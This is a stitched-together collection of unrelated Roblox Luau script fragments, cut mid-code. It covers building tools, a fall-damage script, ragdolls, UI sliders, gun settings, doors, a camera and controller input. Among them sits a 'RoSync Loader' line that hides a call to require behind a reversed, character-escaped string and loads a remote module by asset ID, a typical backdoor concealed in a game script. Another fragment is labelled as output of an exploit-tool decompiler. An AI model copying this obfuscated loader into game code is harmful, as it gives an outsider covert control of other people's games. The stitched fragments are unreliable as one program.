request Core.SyncAPI:Invoke('SyncResize', Changes); end; Apply = function (Record) -- Applies this change -- Select the changed parts Selection.Replace(Record.Parts); -- Put together the change request local Changes = {}; for _, Part in pairs(Record.Parts) do table.insert(Changes, { Part = Part, Size = Record.AfterSize[Part], CFrame = Record.AfterCFrame[Part] }); end; -- Send the change request Core.SyncAPI:Invoke('SyncResize', Changes); end; }; -- Collect the selection's initial state for _, Part in pairs(HistoryRecord.Parts) do HistoryRecord.BeforeSize[Part] = Part.Size; HistoryRecord.BeforeCFrame[Part] = Part.CFrame; end; end; function RegisterChange() -- Finishes creating the history record and registers it -- Make sure there's an in-progress history record if not HistoryRecord then return; end; -- Collect the selection's final state local Changes = {}; for _, Part in pairs(HistoryRecord.Parts) do HistoryRecord.AfterSize[Part] = Part.Size; HistoryRecord.AfterCFrame[Part] = Part.CFrame; table.insert(Changes, { Part = Part, Size = Part.Size, CFrame = Part.CFrame }); end; -- Send the change to the server Core.SyncAPI:Invoke('SyncResize', Changes); -- Register the record and clear the staging Core.History.Add(HistoryRecord); HistoryRecord = nil; end; function PreparePartsForResizing() -- Prepares parts for resizing and returns the initial state of the parts local InitialState = {}; -- Stop parts from moving, and capture the initial state of the parts for _, Part in pairs(Selection.Items) do InitialState[Part] = { Anchored = Part.Anchored, CanCollide = Part.CanCollide, Size = Part.Size, CFrame = Part.CFrame }; Part.Anchored = true; Part.CanCollide = false; Part:BreakJoints(); Part.Velocity = Vector3.new(); Part.RotVelocity = Vector3.new(); end; return InitialState; end; function GetIncrementMultiple(Number, Increment) -- Get how far the actual distance is from a multiple of our increment local MultipleDifference = Number % Increment; -- Identify the closest lower and upper multiples of the increment local LowerMultiple = Number - MultipleDifference; local UpperMultiple = Number - MultipleDifference + Increment; -- Calculate to which of the two multiples we're closer local LowerMultipleProximity = math.abs(Number - LowerMultiple); local UpperMultipleProximity = math.abs(Number - UpperMultiple); -- Use the closest multiple of our increment as the distance moved if LowerMultipleProximity <= UpperMultipleProximity then Number = LowerMultiple; else Number = UpperMultiple; end; return Number; end;
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58},t}, [49]={{50,47,48,49},t}, [16]={n,f}, [19]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19},t}, [59]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,59},t}, [63]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23,62,63},t}, [34]={{50,47,48,49,45,44,28,29,31,32,34},t}, [21]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,21},t}, [48]={{50,47,48},t}, [27]={{50,47,48,49,45,44,28,27},t}, [14]={n,f}, [31]={{50,47,48,49,45,44,28,29,31},t}, [56]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56},t}, [29]={{50,47,48,49,45,44,28,29},t}, [13]={n,f}, [47]={{50,47},t}, [12]={n,f}, [45]={{50,47,48,49,45},t}, [57]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,57},t}, [36]={{50,47,48,49,45,44,28,29,31,32,33,36},t}, [25]={{50,47,48,49,45,44,28,27,26,25},t}, [71]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71},t}, [20]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20},t}, [60]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,60},t}, [8]={n,f}, [4]={n,f}, [75]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73,75},t}, [22]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,21,22},t}, [74]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73,74},t}, [62]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{50,47,48,49,45,44,28,29,31,32,33,36,37},t}, [2]={n,f}, [35]={{50,47,48,49,45,44,28,29,31,32,34,35},t}, [53]={{50,52,53},t}, [73]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73},t}, [72]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72},t}, [33]={{50,47,48,49,45,44,28,29,31,32,33},t}, [69]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,60,69},t}, [65]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,65},t}, [26]={{50,47,48,49,45,44,28,27,26},t}, [68]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67,68},t}, [76]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76},t}, [50]={{50},t}, [66]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66},t}, [10]={n,f}, [24]={{50,47,48,49,45,44,28,27,26,25,24},t}, [23]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23},t}, [44]={{50,47,48,49,45,44},t}, [39]={{50,47,48,49,45,44,28,29,31,32,34,35,39},t}, [32]={{50,47,48,49,45,44,28,29,31,32},t}, [3]={n,f}, [30]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,30},t}, [51]={{50,51},t}, [18]={n,f}, [67]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67},t}, [61]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61},t}, [55]={{50,52,53,54,55},t}, [46]={{50,47,46},t}, [42]={{50,47,48,49,45,44,28,29,31,32,34,35,38,42},t}, [40]={{50,47,48,49,45,44,28,29,31,32,34,35,40},t}, [52]={{50,52},t}, [54]={{50,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41},t}, [17]={n,f}, [38]={{50,47,48,49,45,44,28,29,31,32,34,35,38},t}, [28]={{50,47,48,49,45,44,28},t}, [5]={n,f}, [64]={{50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64},t}, } return r
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local v2 = require(game.ReplicatedStorage.Modules.Lightning); local v3 = require(game.ReplicatedStorage.Modules.Xeno); local v4 = require(game.ReplicatedStorage.Modules.CameraShaker); local l__TweenService__5 = game.TweenService; local l__Debris__6 = game.Debris; local l__ReplicatedStorage__1 = game.ReplicatedStorage; function v1.RunStompFx(p1, p2, p3, p4) local v7 = l__ReplicatedStorage__1.KillFX[p1].Stomp:Clone(); v7.Parent = p2.Parent.UpperTorso and p2; v7:Play(); game.Debris:AddItem(v7, 2); return nil; end; return v1;
--print("light loaded")
local light = script.Parent while true do light.Transparency = 0.9 wait(2) light.Transparency = 0.7 wait(1) light.Transparency = 0.5 wait(1) light.Transparency = 0.3 wait(1) light.Transparency = 0.1 wait(3.5) light.Transparency = 1 wait(4.5) end
-- Variables
local RICH_TEXT_ESCAPE_CHARACTERS = { { "&lt;" }, { "&gt;" }, { "&quot;" }, { "&apos;" }, { "&amp;" }, }
--[=[ Gets a getter, setter, and initializer for the instance type and name. @param instanceType string @param name string @return function @return function @return function ]=]
function ValueBaseUtils.createGetSet(instanceType, name) assert(type(instanceType) == "string", "Bad argument 'instanceType'") assert(type(name) == "string", "Bad argument 'name'") return function(parent, defaultValue) assert(typeof(parent) == "Instance", "Bad argument 'parent'") return ValueBaseUtils.getValue(parent, instanceType, name, defaultValue) end, function(parent, value) assert(typeof(parent) == "Instance", "Bad argument 'parent'") return ValueBaseUtils.setValue(parent, instanceType, name, value) end, function(parent, defaultValue) return ValueBaseUtils.getOrCreateValue(parent, instanceType, name, defaultValue) end end return ValueBaseUtils
-- Sets the collision group of Blue to the npc group
setCollisionGroupRecursive(npcModel, npcGroup)
--[[ Last synced 11/11/2020 02:41 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- Variables
local damageHeight = getSetting("Damaging height") or 14 -- The height at which the player will start getting damaged at local lethalHeight = getSetting("Lethal height") or 26 -- The height at which the player will get killed game:GetService("Players").PlayerAdded:Connect(function (plr) plr.CharacterAdded:Connect(function (char) local root = char:WaitForChild("HumanoidRootPart") local humanoid = char:WaitForChild("Humanoid") if humanoid and root then local headHeight wait(3) -- Prevent the player from dying on spawn humanoid.FreeFalling:Connect(function (state) if state then headHeight = root.Position.Y elseif not state and headHeight ~= nil then pcall(function () local fell = headHeight - root.Position.Y if fell >= lethalHeight then humanoid.Health = 0 elseif fell >= damageHeight then humanoid.Health = humanoid.Health - math.floor(fell) end end) end end) end end) end)
-- Put In The StarterCharacterScripts -- Fix Ragdoll CanCollide Off
local character = script.Parent function recurse(root,callback,i) i= i or 0 for _,v in pairs(root:GetChildren()) do i = i + 10 callback(i,v) if #v:GetChildren() > 0 then i = recurse(v,callback,i) end end return i end function ragdollJoint(part0, part1, attachmentName, className, properties) attachmentName = attachmentName.."RigAttachment" local constraint = Instance.new(className.."Constraint") constraint.Attachment0 = part0:FindFirstChild(attachmentName) constraint.Attachment1 = part1:FindFirstChild(attachmentName) constraint.Name = "RagdollConstraint"..part1.Name for _,propertyData in next,properties or {} do constraint[propertyData[1]] = propertyData[2] end constraint.Parent = character end function getAttachment0(attachmentName) for _,child in next,character:GetChildren() do local attachment = child:FindFirstChild(attachmentName) if attachment then return attachment end end end character:WaitForChild("Humanoid").FreeFalling:connect(function() character.StartRagdoll.Disabled = true --Make it so ragdoll can't collide with invisible HRP, but don't let HRP fall through map and be destroyed in process character.UpperTorso.CanCollide = false character.Head.CanCollide = true character.HumanoidRootPart.CanCollide = false character.LeftLowerLeg.CanCollide = true character.RightLowerLeg.CanCollide = true character.LeftFoot.CanCollide = true character.RightFoot.CanCollide = true local UTJoint = character.UpperTorso:FindFirstChild("WaistRigAttachment") local LTJoint = character.LowerTorso:FindFirstChild("WaistRigAttachment")
-- Private Methods
function init(self) local frame = self.Frame local dragger = frame.Dragger local background = frame.Background local axis = self._Axis local maid = self._Maid local spring = self._Spring local dragTracker = Lazy.Classes.Dragger.new(dragger) self.DragStart = dragTracker.DragStart self.DragStop = dragTracker.DragStop maid:Mark(frame) maid:Mark(self._ChangedBind) maid:Mark(self._ClickedBind) maid:Mark(function() dragTracker:Destroy() end) -- Get bounds and background size scaled accordingly for calculations local function setUdim2(a, b) if (axis == "y") then a, b = b, a end return UDim2.new(a, 0, b, 0) end local last = -1 local bPos, bSize local function updateBounds() bPos, bSize = getBounds(self) background.Size = setUdim2(bSize / frame.AbsoluteSize[axis], 1) last = -1 end updateBounds() maid:Mark(frame:GetPropertyChangedSignal("AbsoluteSize"):Connect(updateBounds)) maid:Mark(frame:GetPropertyChangedSignal("AbsolutePosition"):Connect(updateBounds)) maid:Mark(frame:GetPropertyChangedSignal("Parent"):Connect(updateBounds)) -- Move the slider when the xbox moves it local xboxDir = 0 local xboxTick = 0 local xboxSelected = false maid:Mark(dragger.SelectionGained:Connect(function() xboxSelected = true end)) maid:Mark(dragger.SelectionLost:Connect(function() xboxSelected = false end)) maid:Mark(UIS.InputChanged:Connect(function(input, process) if (process and input.KeyCode == THUMBSTICK) then local pos = input.Position xboxDir = math.abs(pos[axis]) > XBOX_DEADZONE and math.sign(pos[axis]) or 0 end end)) -- Move the slider when we drag it maid:Mark(dragTracker.DragChanged:Connect(function(element, input, delta) if (self.IsActive) then self:Set((input.Position[axis] - bPos) / bSize, false) end end)) -- Move the slider when we click somewhere on the bar maid:Mark(frame.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then local t = (input.Position[axis] - bPos) / bSize self._ClickedBind:Fire(math.clamp(t, 0, 1)) if (self.IsActive) then self:Set(t, self.TweenClick) end end end)) -- position the slider maid:Mark(RUNSERVICE.RenderStepped:Connect(function(dt) if (xboxSelected) then local t = tick() if (self.Interval <= 0) then self:Set(self:Get() + xboxDir*XBOX_STEP*dt*60) elseif (t - xboxTick > DEBOUNCE_TICK) then xboxTick = t self:Set(self:Get() + self.Interval*xboxDir) end end spring:Update(dt) local x = spring.x if (x ~= last) then local scalePos = (bPos + (x * bSize) - frame.AbsolutePosition[axis]) / frame.AbsoluteSize[axis] dragger.Position = setUdim2(scalePos, 0.5) self._ChangedBind:Fire(self:Get()) last = x end end)) end function getBounds(self) local frame = self.Frame local dragger = frame.Dragger local axis = self._Axis local pos = frame.AbsolutePosition[axis] + dragger.AbsoluteSize[axis]/2 local size = frame.AbsoluteSize[axis] - dragger.AbsoluteSize[axis] return pos, size end
--// This module is only used to generate and update a list of non-custom commands for the webpanel and will not operate under normal circumstances
return function(Vargs) local server = Vargs.Server; local service = Vargs.Service; local Settings = server.Settings local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps = server.Functions, server.Commands, server.Admin, server.Anti, server.Core, server.HTTP, server.Logs, server.Remote, server.Process, server.Variables, server.Deps --if true then return end --// fully disabled service.TrackTask("Thread: WEBPANEL_JSON_UPDATE", function() wait(1) local enabled = rawget(_G,"ADONISWEB_CMD_JSON_DOUPDATE"); local secret = rawget(_G,"ADONISWEB_CMD_JSON_SECRET"); local endpoint = rawget(_G,"ADONISWEB_CMD_JSON_ENDPOINT"); if not enabled or not secret or not endpoint then return end print("WEB ENABLED DO UPDATE"); if Core.DebugMode and enabled then print("DEBUG DO LAUNCH ENABLED"); wait(5) local list = {}; local HTTP = service.HttpService; local Encode = Functions.Base64Encode local Decode = Functions.Base64Decode for i,cmd in next,Commands do table.insert(list, { Index = i; Prefix = cmd.Prefix; Commands = cmd.Commands; Arguments = cmd.Args; AdminLevel = cmd.AdminLevel; Hidden = cmd.Hidden or false; NoFilter = cmd.NoFilter or false; }) end --warn("COMMANDS LIST JSON: "); --print("\n\n".. HTTP:JSONEncode(list) .."\n\n"); --print("ENCODED") --// LAUNCH IT print("LAUNCHING") local success, res = pcall(HTTP.RequestAsync, HTTP, { Url = endpoint; Method = "POST"; Headers = { ["Content-Type"] = "application/json", ["Secret"] = secret }; Body = HTTP:JSONEncode({ ["data"] = Encode(HTTP:JSONEncode(list)) }) }); print("LAUNCHED TO WEBPANEL") print("RESPONSE BELOW") print("SUCCESS: ".. tostring(success).. "\n".. "RESPONSE:\n"..(res and HTTP.JSONEncode(res)) or res) end end) end
-- connect events
Humanoid.Died:connect(onDied) Humanoid.Running:connect(onRunning) Humanoid.GettingUp:connect(onGettingUp) Humanoid.FallingDown:connect(onFallingDown) Humanoid.PlatformStanding:connect(onPlatformStanding)
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {0.2,0.34} --- Vertical Recoil ,HRecoil = {0.2,0.34} --- Horizontal Recoil ,AimRecover = .98 ---- Between 0 & 1 ,RecoilPunch = .1 ,VPunchBase = 1 --- Vertical Punch ,HPunchBase = 1 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 1 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.03 ,MinRecoilPower = 1 ,MaxRecoilPower = 2 ,RecoilPowerStepAmount = .15 ,MinSpread = 4 --- Min bullet spread value | Studs ,MaxSpread = 40 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 2.5 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.01 --- Weapon Base Sway | Studs ,MaxSway = 1 --- Max sway value based on player stamina | Studs
--// Aim|Zoom|Sensitivity Customization
ZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween AimZoom = 43; -- Default zoom AimSpeed = 0.23; UnaimSpeed = 0.23; CycleAimZoom = 50; -- Cycled zoom MouseSensitivity = 0.5; -- Number between 0.1 and 1 SensitivityIncrement = 0.05; -- No touchy
-- constants
local PLAYER_DATA = ReplicatedStorage.PlayerData local REMOTES = ReplicatedStorage.Remotes local SQUADS = ReplicatedStorage.Squads local MAX_PER_SECOND = 2
--"False" = Not Acceptable Keycard To Open. "True" = Acceptable Keycard To Open.--
local door = script.Parent local CanOpen1 = true local CanClose1 = false local clearance = { ["[SCP] Card-Omni"] = true, ["[SCP] Card-L5"] = true, ["[SCP] Card-L4"] = false, ["[SCP] Card-L3"] = false, ["[SCP] Card-L2"] = false, ["[SCP] Card-L1"] = false } --DO NOT EDIT PAST THIS LINE-- function openDoor() for i = 3,(door.Size.z / 0.15) do wait() door.CFrame = door.CFrame - (door.CFrame.lookVector * 0.15) end end function closeDoor() for i = 3,(door.Size.z / 0.15) do wait() door.CFrame = door.CFrame + (door.CFrame.lookVector * 0.15) end end script.Parent.Parent.KeycardReader1.touched:connect(function(touch) if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then CanOpen1 = false wait(0.75) openDoor() wait(1) CanClose1 = true elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then CanClose1 = false wait(0.75) closeDoor() wait(1) CanOpen1 = true end end) script.Parent.Parent.KeycardReader2.touched:connect(function(touch) if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then CanOpen1 = false wait(0.75) openDoor() wait(1) CanClose1 = true elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then CanClose1 = false wait(0.75) closeDoor() wait(1) CanOpen1 = true end end)
-- Functions
function GameManager:Initialize() MapManager:SaveMap(game.Workspace) end function GameManager:RunIntermission() IntermissionRunning = true TimeManager:StartTimer(Configurations.INTERMISSION_DURATION) -- Starts a timer used to display the intermission time DisplayManager:StartIntermission() EnoughPlayers = Players.NumPlayers >= Configurations.MIN_PLAYERS DisplayManager:UpdateTimerInfo(true, not EnoughPlayers) spawn(function() repeat if EnoughPlayers and Players.NumPlayers < Configurations.MIN_PLAYERS then EnoughPlayers = false elseif not EnoughPlayers and Players.NumPlayers >= Configurations.MIN_PLAYERS then EnoughPlayers = true end DisplayManager:UpdateTimerInfo(true, not EnoughPlayers) wait(0.5) until not IntermissionRunning end) wait(Configurations.INTERMISSION_DURATION) IntermissionRunning = false end function GameManager:StopIntermission() DisplayManager:UpdateTimerInfo(false, false) DisplayManager:StopIntermission() end function GameManager:GameReady() return EnoughPlayers end function GameManager:StartRound() TeamManager:ClearTeamScores() PlayerManager:ClearPlayerScores() PlayerManager:AllowPlayerSpawn(true) PlayerManager:LoadPlayers() GameRunning = true PlayerManager:SetGameRunning(true) TimeManager:StartTimer(Configurations.ROUND_DURATION) end function GameManager:Update() -- TODO: Add custom game code here end function GameManager:RoundOver() local winningTeam = TeamManager:HasTeamWon() if winningTeam then DisplayManager:DisplayVictory(winningTeam) return true end if TimeManager:TimerDone() then if TeamManager:AreTeamsTied() then DisplayManager:DisplayVictory("Tie") else winningTeam = TeamManager:GetWinningTeam() DisplayManager:DisplayVictory(winningTeam) end return true end return false end function GameManager:RoundCleanup() PlayerManager:SetGameRunning(false) PlayerManager:AllowPlayerSpawn(false) wait(Configurations.END_GAME_WAIT) PlayerManager:DestroyPlayers() DisplayManager:DisplayVictory(nil) if Configurations.TEAMS then TeamManager:ShuffleTeams() end MapManager:ClearMap() MapManager:LoadMap() end return GameManager
-- [[ Update ]]--
function OrbitalCamera:Update(dt) local now = tick() local timeDelta = (now - self.lastUpdate) local userPanningTheCamera = (self.UserPanningTheCamera == true) local camera = workspace.CurrentCamera local newCameraCFrame = camera.CFrame local newCameraFocus = camera.Focus local player = PlayersService.LocalPlayer local humanoid = self:GetHumanoid() local cameraSubject = camera and camera.CameraSubject local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat') local isOnASkateboard = cameraSubject and cameraSubject:IsA('SkateboardPlatform') if self.lastUpdate == nil or timeDelta > 1 then self.lastCameraTransform = nil end if self.lastUpdate then local gamepadRotation = self:UpdateGamepad() if self:ShouldUseVRRotation() then self.RotateInput = self.RotateInput + self:GetVRRotationInput() else -- Cap out the delta to 0.1 so we don't get some crazy things when we re-resume from local delta = math.min(0.1, timeDelta) if gamepadRotation ~= ZERO_VECTOR2 then userPanningTheCamera = true self.rotateInput = self.rotateInput + (gamepadRotation * delta) end local angle = 0 if not (isInVehicle or isOnASkateboard) then angle = angle + (self.TurningLeft and -120 or 0) angle = angle + (self.TurningRight and 120 or 0) end if angle ~= 0 then self.rotateInput = self.rotateInput + Vector2.new(math.rad(angle * delta), 0) userPanningTheCamera = true end end end -- Reset tween speed if user is panning if userPanningTheCamera then tweenSpeed = 0 self.lastUserPanCamera = tick() end local userRecentlyPannedCamera = now - self.lastUserPanCamera < TIME_BEFORE_AUTO_ROTATE local subjectPosition = self:GetSubjectPosition() if subjectPosition and player and camera then -- Process any dollying being done by gamepad -- TODO: Move this if self.gamepadDollySpeedMultiplier ~= 1 then self:SetCameraToSubjectDistance(self.currentSubjectDistance * self.gamepadDollySpeedMultiplier) end local VREnabled = VRService.VREnabled newCameraFocus = VREnabled and self:GetVRFocus(subjectPosition, timeDelta) or CFrame.new(subjectPosition) local cameraFocusP = newCameraFocus.p if VREnabled and not self:IsInFirstPerson() then local cameraHeight = self:GetCameraHeight() local vecToSubject = (subjectPosition - camera.CFrame.p) local distToSubject = vecToSubject.magnitude -- Only move the camera if it exceeded a maximum distance to the subject in VR if distToSubject > self.currentSubjectDistance or self.rotateInput.x ~= 0 then local desiredDist = math.min(distToSubject, self.currentSubjectDistance) -- Note that CalculateNewLookVector is overridden from BaseCamera vecToSubject = self:CalculateNewLookVector(vecToSubject.unit * X1_Y0_Z1, Vector2.new(self.rotateInput.x, 0)) * desiredDist local newPos = cameraFocusP - vecToSubject local desiredLookDir = camera.CFrame.lookVector if self.rotateInput.x ~= 0 then desiredLookDir = vecToSubject end local lookAt = Vector3.new(newPos.x + desiredLookDir.x, newPos.y, newPos.z + desiredLookDir.z) self.RotateInput = ZERO_VECTOR2 newCameraCFrame = CFrame.new(newPos, lookAt) + Vector3.new(0, cameraHeight, 0) end else -- self.RotateInput is a Vector2 of mouse movement deltas since last update self.curAzimuthRad = self.curAzimuthRad - self.rotateInput.x if self.useAzimuthLimits then self.curAzimuthRad = Util.Clamp(self.minAzimuthAbsoluteRad, self.maxAzimuthAbsoluteRad, self.curAzimuthRad) else self.curAzimuthRad = (self.curAzimuthRad ~= 0) and (math.sign(self.curAzimuthRad) * (math.abs(self.curAzimuthRad) % TAU)) or 0 end self.curElevationRad = Util.Clamp(self.minElevationRad, self.maxElevationRad, self.curElevationRad + self.rotateInput.y) local cameraPosVector = self.currentSubjectDistance * ( CFrame.fromEulerAnglesYXZ( -self.curElevationRad, self.curAzimuthRad, 0 ) * UNIT_Z ) local camPos = subjectPosition + cameraPosVector newCameraCFrame = CFrame.new(camPos, subjectPosition) self.rotateInput = ZERO_VECTOR2 end self.lastCameraTransform = newCameraCFrame self.lastCameraFocus = newCameraFocus if (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then self.lastSubjectCFrame = cameraSubject.CFrame else self.lastSubjectCFrame = nil end end self.lastUpdate = now return newCameraCFrame, newCameraFocus end return OrbitalCamera
--[[ timer = Timer.new(interval: number [, janitor: Janitor]) timer.Tick: Signal timer:Start() timer:StartNow() timer:Stop() timer:Destroy() ------------------------------------ local timer = Timer.new(2) timer.Tick:Connect(function() print("Tock") end) timer:Start() --]]
local Knit = require(game:GetService("ReplicatedStorage").Knit) local Signal = require(Knit.Util.Signal) local RunService = game:GetService("RunService") local Timer = {} Timer.__index = Timer function Timer.new(interval: number, janitor) assert(type(interval) == "number", "Argument #1 to Timer.new must be a number; got " .. type(interval)) assert(interval > 0, "Argument #1 to Timer.new must be greater than 0; got " .. tostring(interval)) local self = setmetatable({}, Timer) self._runHandle = nil self.Interval = interval self.Tick = Signal.new() if janitor then janitor:Add(self) end return self end function Timer.Is(obj: any): boolean return type(obj) == "table" and getmetatable(obj) == Timer end function Timer:Start() if self._runHandle then return end local n = 0 local start = time() local nextTick = start + self.Interval self._runHandle = RunService.Heartbeat:Connect(function() local now = time() while now >= nextTick do n += 1 nextTick = start + (self.Interval * n) self.Tick:Fire() end end) end function Timer:StartNow() if self._runHandle then return end self.Tick:Fire() self:Start() end function Timer:Stop() if not self._runHandle then return end self._runHandle:Disconnect() self._runHandle = nil end function Timer:Destroy() self.Tick:Destroy() self:Stop() end return Timer
-- BrailleGen 3D BETA
Align = true This = script.Parent Btn = This.Parent Lift = Btn.Parent.Parent.Parent Config = require(Lift.CustomLabel) Characters = require(script.Characters) CustomLabel = Config["CUSTOMFLOORLABEL"][tonumber(Btn.Name)] function ChangeFloor(SF) if Align == true then if string.len(SF) == 1 then SetLabel(1,SF,0.045) SetLabel(2,"NIL",0) SetLabel(3,"NIL",0) SetLabel(4,"NIL",0) elseif string.len(SF) == 2 then SetLabel(1,SF:sub(1,1),0.03) SetLabel(2,SF:sub(2,2),0.03) SetLabel(3,"NIL",0) SetLabel(4,"NIL",0) elseif string.len(SF) == 3 then SetLabel(1,SF:sub(1,1),0.015) SetLabel(2,SF:sub(2,2),0.015) SetLabel(3,SF:sub(3,3),0.015) SetLabel(4,"NIL",0) elseif string.len(SF) == 4 then SetLabel(1,SF:sub(1,1),0) SetLabel(2,SF:sub(2,2),0) SetLabel(3,SF:sub(3,3),0) SetLabel(4,SF:sub(4,4),0) end else if string.len(SF) == 1 then SetLabel(1,SF,0) SetLabel(2,"NIL",0) SetLabel(3,"NIL",0) SetLabel(4,"NIL",0) elseif string.len(SF) == 2 then SetLabel(1,SF:sub(1,1),0) SetLabel(2,SF:sub(2,2),0) SetLabel(3,"NIL",0) SetLabel(4,"NIL",0) elseif string.len(SF) == 3 then SetLabel(1,SF:sub(1,1),0) SetLabel(2,SF:sub(2,2),0) SetLabel(3,SF:sub(3,3),0) SetLabel(4,"NIL",0) elseif string.len(SF) == 4 then SetLabel(1,SF:sub(1,1),0) SetLabel(2,SF:sub(2,2),0) SetLabel(3,SF:sub(3,3),0) SetLabel(4,SF:sub(4,4),0) end end end function SetLabel(ID,CHAR,OFFSET) if This:FindFirstChild("BR"..ID) and Characters[CHAR] ~= nil then for i,l in pairs(Characters[CHAR]) do This["BR"..ID].Mesh.MeshId = "rbxassetid://"..l end if CHAR == "A" or CHAR == "1" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, -0.014) elseif CHAR == "B" or CHAR == "2" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, -0.006) elseif CHAR == "C" or CHAR == "3" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, -0.014) elseif CHAR == "D" or CHAR == "4" or CHAR == "E" or CHAR == "5" or CHAR == "F" or CHAR == "6" or CHAR == "G" or CHAR == "7" or CHAR == "H" or CHAR == "8" or CHAR == "I" or CHAR == "9" or CHAR == "J" or CHAR == "0" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, -0.006) elseif CHAR == "K" or CHAR == "L" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, 0) elseif CHAR == "." or CHAR == "+" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.006) elseif CHAR == "-" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.014) elseif CHAR == ";" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.006) elseif CHAR == "*" then This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET+0.006, 0, 0) else This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0) end end end ChangeFloor("CS") script:Destroy()
---Controller
local Controller=false local UserInputService = game:GetService("UserInputService") local LStickX = 0 local RStickX = 0 local RStickY = 0 local RTriggerValue = 0 local LTriggerValue = 0 local ButtonX = 0 local ButtonY = 0 local ButtonL1 = 0 local ButtonR1 = 0 local ButtonR3 = 0 local DPadUp = 0 function DealWithInput(input,IsRobloxFunction) if Controller then if input.KeyCode ==Enum.KeyCode.ButtonX then if input.UserInputState == Enum.UserInputState.Begin then ButtonX=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonX=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonY then if input.UserInputState == Enum.UserInputState.Begin then ButtonY=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonY=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonL1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonL1=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR1=0 end elseif input.KeyCode ==Enum.KeyCode.DPadLeft then if input.UserInputState == Enum.UserInputState.Begin then DPadUp=1 elseif input.UserInputState == Enum.UserInputState.End then DPadUp=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR3=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR3=0 end end if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads if input.KeyCode == Enum.KeyCode.Thumbstick1 then LStickX = input.Position.X elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then RStickX = input.Position.X RStickY = input.Position.Y elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder RTriggerValue = input.Position.Z elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder LTriggerValue = input.Position.Z end end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital 